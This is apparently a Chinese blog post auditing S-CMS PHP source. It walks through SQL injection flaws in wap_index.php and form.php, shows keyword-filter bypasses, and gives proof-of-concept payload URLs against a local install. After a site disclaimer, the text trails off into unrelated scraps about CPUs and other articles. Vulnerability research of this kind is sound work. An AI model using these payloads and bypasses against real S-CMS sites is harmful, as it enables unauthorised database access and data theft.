时间:2021-05-19
0x01 前言
有段时间没有发文章了,主要没挖到比较有意思的漏洞点。然后看最近爆了很多关于S-CMS的漏洞,下载了源码简单挖了一下然后给大家分享一下。
0x02 目录
Wap_index.php sql注入Form.php Sql注入Input、query
0x03 插曲
这里分享一下在审计的时候自用的一段代码。
$debug=function(){ $logFile='C:\\Users\\DELL\\Desktop\\debug.txt'; //输出的文件 $param=func_get_args(); //获取传入函数的参数 if (count($param)>0){ $str=serialize($param); //序列号 if($str){ //存在就写入 $str=file_get_contents($logFile)."\r\n\r\n".__FILE__.":\t\t".$str; file_put_contents($logFile,"\t\t".$str); }else{ //不存在写入Null $str=file_get_contents($logFile)."\r\n\r\n".__FILE__.":\r\n".$str; file_put_contents($logFile,"\t\tNull"); } } };$debug($x,$a,$b); //这里$x,$a,$b都是要查看的变量。主要用这个的话个人感觉比较方便,平常测试都是var_dump();die;来查看。然后当die后,页面还是没有打印内容,用这个函数还是相对比较方便的。当然用phpstorm下断点挺好的,不过个人不太喜欢。主要还是我懒。
0x04 Wap_index.php sql注入
漏洞文件:\scms\wap_index.php这个文件的话不止这一处Sql注入,这里只写这一个。漏洞行号:90-96
case "text": $debug("select * from SL_text where T_id=" . $S_id, "T_title"); if (getrs("select * from SL_text where T_id=" . $S_id, "T_title") == "") { box("菜单指向的简介已被删除,请到“菜单管理”重新编辑", "back", "error"); } else { $page_info = ReplaceLableFlag(ReplaceWapTag(CreateHTMLReplace(CreateText(ReplaceWapPart(LoadWapTemplate($style, $S_id)) , $S_id)))); } break;S_id直接从GET获取无单引号拼接进了sql语句
if(isset($_GET["S_id"])){ $S_id = $_GET["S_id"];}else{ $S_id = "0";}这套CMS核心全带全都加密处理了所以我们看不到他的过滤方法,不过当出现 union select 等的时候都直接退出了,没有继续往下执行。研究发现当传入select(user())能正常执行,不过尝试union(select(1)) 的时候也没有执行,应该是直接正则匹配的union这个单词,而select匹配了前后的空格。
漏洞演示:
$debug保存下来的信息。
D:\phpStudy\PHPTutorial\WWW\scms\wap_index.php: a:2:{i:0;s:58:"select * from SL_text where T_id=1 and (select(user())!=1)";i:1;s:7:"T_title";}
Mysql.log
正常执行了sql语句。S_id=1 and (select(user()) from sl_reply 同样可以正常执行,可通过盲注爆数据。
0x05 Form.php Sql注入
漏洞文件:\scms\form.php
漏洞Action:input
if($action=="input"){ if ($_POST["code"]!=$_SESSION["CmsCode"]){ echo "<div style='height:500px'></div>"; box(lang("验证码错误!/l/Verification code error"),"back","error"); }else{ $R_time=date('Y-m-d H:i:s'); $R_rid=gen_key(15); foreach ($_POST as $x=>$value) { if ($x>0){ if ($_POST[$x]==""){ box(lang("请填全内容后提交!/l/Please fill in the full content to submit!"),"back","error"); die(); }else{ if (!IsValidStr($_POST[$x])){ box(lang("您输入的内容有敏感字符,请重新输入!/l/The contents you have entered are sensitive characters, please re-enter!"),"back","error"); }else{$debug("Insert into SL_response(R_cid,R_content,R_time,R_rid,R_member) values(".$x.",'".htmlspecialchars($_POST[$x])."','".$R_time."','".$R_rid."',".$M_id.")"); mysqli_query($conn,"Insert into SL_response(R_cid,R_content,R_time,R_rid,R_member) values(".$x.",'".htmlspecialchars($_POST[$x])."','".$R_time."','".$R_rid."',".$M_id.")"); } } } } if ($F_cq>0){ mysqli_query($conn,"Insert into SL_query(Q_code,Q_content,Q_sort) values('".$R_rid."','".date('Y-m-d H:i:s')."__用户提交表单,等待处理"."',".$F_cq.")"); box(lang("提交成功,查询码 ".$R_rid."/l/success!code ".$R_rid.""),$C_dir.$url_to,"success"); }else{ box(lang("提交成功!/l/success!code ".$R_rid.""),$C_dir.$url_to,"success"); } sendmail("您的网站有新的表单提交","<h2>您的网站“".lang($C_webtitle)."”有新的表单提交</h2><hr>请进入“网站后台” - “表单系统” - “查看统计”查看详情!",$C_email); }}这里简单看些逻辑,先判断code验证码是否错误,如果为False不错误,进入foreach循环,判断$x(也就是 $_POST的key)>0这里就可以通过php弱类型比如1a>0 为True 这个不多介绍了,然后如果$_POST[$x] 不为空,继续检测$_POST[$x] 是否存在敏感字符,然后拼接sql语句。
整个流程就这样了,漏洞触发点就是$x,它检测敏感字符只检测了$_POST[$x]内容,而没检测$x,而且直接拼接入了sql语句导致SQL注入。
漏洞演示:
http://127.0.0.1/scms/form.php?action=input&S_id=0code=ywu7&1//and//(1//like//1)=121
$debug记录
D:\phpStudy\PHPTutorial\WWW\scms\form.php: a:1:{i:0;s:147:"Insert into SL_response(R_cid,R_content,R_time,R_rid,R_member) values(1//and//(1//like//1),'121','2018-12-05 15:27:00','WjWEpX8YIK6cfeq',6)";}
漏洞文件:\scms\form.php
漏洞Action:query
if ($action=="query"){$Q_sort=$_POST["Q_sort"];$Q_code=$_POST["Q_code"]; if ($_POST["code"]!=$_SESSION["CmsCode"]){ echo "<div style='height:500px'></div>"; box(lang("验证码错误!/l/Verification code error"),"back","error"); }else{ $sql="select * from SL_query where Q_sort=".$Q_sort." and Q_code like '".$Q_code."'"; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_assoc($result);这个相对简单不多说,$Q_sort从post获取,无过滤直接拼接进sql语句导致sql注入。
Payload:http://127.0.0.1/scms/form.php?action=query&S_id=0code=t5o9&Q_sort=1 and 1=1
0x06 结束语
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持。
声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。
0x01前言继上一篇的S-CMS漏洞再来一波!首发T00ls0x2目录Sql注入二次SQL注入0x03Sql注入漏洞文件:\scms\bbs\bbs.php$a
e52680v2和v3的差别是V3是Haswell架构,V2是IvyBridgeEP架构,而Haswell结构相比于IvyBridge结构在GPU性能、显示核心
e31230v2和v3的区别是v2功耗为69w,v3达到了80w,v3和v2支持睿频,可睿频至3.7ghz,同时两者的针脚也是不一样的。 中央处理器(Cent
SQL注入攻击的总体思路:发现SQL注入位置;判断服务器类型和后台数据库类型;确定可执行情况对于有些攻击者而言,一般会采取sql注入法。下面我也谈一下自己关于s
1.guestbook.php(留言程序)welcometext();functionMM_jumpMenu(targ,selObj,restore){//v3